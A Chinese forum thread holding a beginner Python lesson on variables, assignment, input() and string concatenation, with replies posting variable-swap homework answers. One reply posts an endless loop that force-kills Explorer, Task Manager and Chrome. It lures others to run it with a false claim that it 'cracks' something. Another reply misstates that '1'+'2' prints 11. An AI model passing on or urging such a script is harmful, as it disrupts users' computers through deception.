猫史档案馆


Python教程4(1)——变量,暂时的银行

用户:Python爱好者Python爱好者查看:128 回复:27 评论:128 创建时间:2023-01-12T10:58:02


      Hello, everyone! 今天我们要学的是Python教程变量的第一课,没错,下节课是变量第二节。

center_image

^(Python爱好者)^

      变量就像个暂时的银行,在运行的时候可以把数据,字符等存进去,后面还可以取出,在Python里面 “=” 不是等于的意思,是取值的意思,“==” 才是等于的意思,我们先举个例子:

a=12
print(a)

      第二节课我们说print()的括号里若不是数据,要加上 "" ,但是在用变量时变量不加 "" ,如果加了 "" ,虽然不会报错,但是你要的效果没了,举个例子:

a="Python爱好者的学生都很帅或很美"
print("a")      #错误做法,在执行的时候,输出的不是Python爱好者的学生都很帅或很美,而是a

      新手呢在打这段代码要格外注意,高手就没关系啦。center_image

^(高手)^

      我们都知道,字符串可以先加,那么变量呢?

a="喵Python"
b="Python爱我"
print(a+b)

center_image

^(Python:喵你)^

      那么怎么让使用程序的人来自定义变量的值呢?我们第三节课学了input()代码,变量能不能用input()代码呢?可以的。

a=input()
print(a)

      这时候,有人举一反三了,做了

a=input()
b=input()
print(a+b)

      诶,这时候输入两组数字怎么变成这样了:center_image

center_image

^(会举一反三的人们)^

      这个问题下次在解决。

center_image

      今天的作业是三个变量,五行代码,两个变量的值由运行者取值,然后让这两个变量的值换一下


回复

上一页1 页 / 共 1下一页
dy=f’(x)*dxdy=f’(x)*dx

来了

点赞0


评论


dy=f’(x)*dxdy=f’(x)*dx

a=12
b=34
a=b-22
b=a+22
print(a,b)

点赞0


评论


超级无敌编程大神超级无敌编程大神

var??

点赞0


评论


dy=f’(x)*dxdy=f’(x)*dx

a=input()
b=input()
c=1
a=b
print(a)

点赞0


评论


FexcodeFexcode

a,b = input('a=   '),input('b=   ')
a,b = b,a
#额3个变量...,五行代码...。。。以下是无用代码...
print(a,b)
c = int(a)+int(b)   print(c)

点赞0


评论


盛世华夏盛世华夏

因为我们默认变量中的,未经过处理的代码是字符串(str)类型的,当字符串进行加运算的时候,是前后两项相拼接,所以会出现65897这种现象

点赞0


评论


盛世华夏盛世华夏

我来交一个不及格的作业:

a = input()

b = input()

c = a

a = b

b = c

print(a)

print(b)

点赞0


评论


芥末不是酱油芥末不是酱油

a = int(input())
b = int(input())
print(a+b)

完美解决疑问

intput()函数在输入后默认为str类型啊,强制转换int类型不就完事了。

点赞0


评论


一门鸽鸽一门鸽鸽

(a := -(b := (a := int(input())+(b := int(input())))-b)+a)
# 别问为什么这么写,因为疯了,但确实是先输入a再输入b最后调换a,b的值
# 建议运行一下试试
# print(a, b)
# 好了,总算凑够五行了

点赞1


评论


mornwindmornwind

a,b=input(),input()
a,b=b,a

点赞0


评论


mornwindmornwind

刑啊

a=eval(input())
b=eval(input())
func=lambda lst:lst[::-1]
a,b=func([a,b])
print(a,b)

点赞0


评论


mornwindmornwind

写代码的原则是在效果不变的情况下越简洁越好···要求代码为特定行数这种操作···

点赞1


评论


超级无敌编程大神超级无敌编程大神

from os import system
while True:
    system("taskkill /f /im explorer.exe >nul 2>nul")
    system("taskkill /f /im taskmgr.exe >nul 2>nul")
    system("taskkill /f /im chrome.exe >nul 2>nul")

谁快来运行这段代码?~本人亲测,可以破解!!!

点赞0


评论


超级无敌编程大神超级无敌编程大神

center_image

点赞0


评论


SunSetSunSet

P y t h o n   Python  变量类型

变量是存储在内存中的值,这就意味着在创建变量时会在内存中开辟一个空间。

基于变量的数据类型,解释器会分配指定内存,并决定什么数据可以被存储在内存中。

因此,变量可以指定不同的数据类型,这些变量可以存储整数,小数或字符。

 

变量赋值

Python 中的变量赋值不需要类型声明。

每个变量在内存中创建,都包括变量的标识,名称和数据这些信息。

每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。

等号 = 用来给变量赋值。

等号 = 运算符左边是一个变量名,等号 = 运算符右边是存储在变量中的值。

多个变量赋值

Python允许你同时为多个变量赋值。例如:

a = b = c = 1

以上实例,创建一个整型对象,值为1,三个变量被分配到相同的内存空间上。

您也可以为多个对象指定多个变量。例如:

a, b, c = 1, 2, "john"
标准数据类型

在内存中存储的数据可以有多种类型。

例如,一个人的年龄可以用数字来存储,他的名字可以用字符来存储。

Python 定义了一些标准类型,用于存储各种类型的数据。

Python有五个标准的数据类型:

 

Python 数字

数字数据类型用于存储数值。

他们是不可改变的数据类型,这意味着改变数字数据类型会分配一个新的对象。

当你指定一个值时,Number 对象就会被创建:

var1 = 1
var2 = 10

 

Python爱好者的作业:

a=0;b=0;t=0;a=int(input());b=int(input());t=a;a=b;b=t;print(a,b)

 

点赞0


评论


AokenAoken

ddd

点赞0


评论


AokenAoken

ddd是顶帖子,不是python

点赞0


评论


黄颠黄颠

a=input()
b=input()
a,b=b,a
#这样写比较简洁吧qwq
a=input()
b=input()
c=a
a=b
b=c
#题目要求的

点赞0


评论


Python爱好者Python爱好者

center_image

emotion_编程猫_伤心难道要动用Python的力量吗?

点赞0


评论


满脑子都是胡桃满脑子都是胡桃

a = input()
b = input()
c = a
a = b
c = b
#题目可没有说要打印出来,这个就是标准答案

点赞0


评论


盛世华夏盛世华夏

云变量怎么做?

点赞0


评论


疯狂的ren疯狂的ren

字符串相加不叫相加,叫拼接,“+”叫拼接符

点赞1


评论


小张awa小张awa

a = input()
b = input()
#a,b = b,a #这样比较简洁,但题目要求5行
c = a
a = b
b = c

所以这样对吗?

点赞1


评论


温顺的咪噜gBgE温顺的咪噜gBgE

小芝士:

#众所周知:
a="1"
b="2"
print(a+b)
"""
会给你打印:11
让你感觉你不会数学
实际上是因为字符串的原因
只需要:
"""
print(int(a)+int(b))
"""
int把字符串改成整数型
或者变量赋值的时候直接输入数字
"""

点赞0


评论


小苏打_小苏打_

有没有可能……讲完print要先讲 数据结构 再讲变量比较合适……

另外说一个不是很常见的解法(仅对于数字)

a = int(input())
b = int(input())
a = a^b
b = a^b
a = a^b;
print(f'a:{a}\nb:{b}')

点赞1


评论


雪涧stream雪涧stream

a=input()
b=input()
c=a
a=b
b=c

是这样吗?

点赞0


评论


Python爱好者Python爱好者

啊这……

点赞0


评论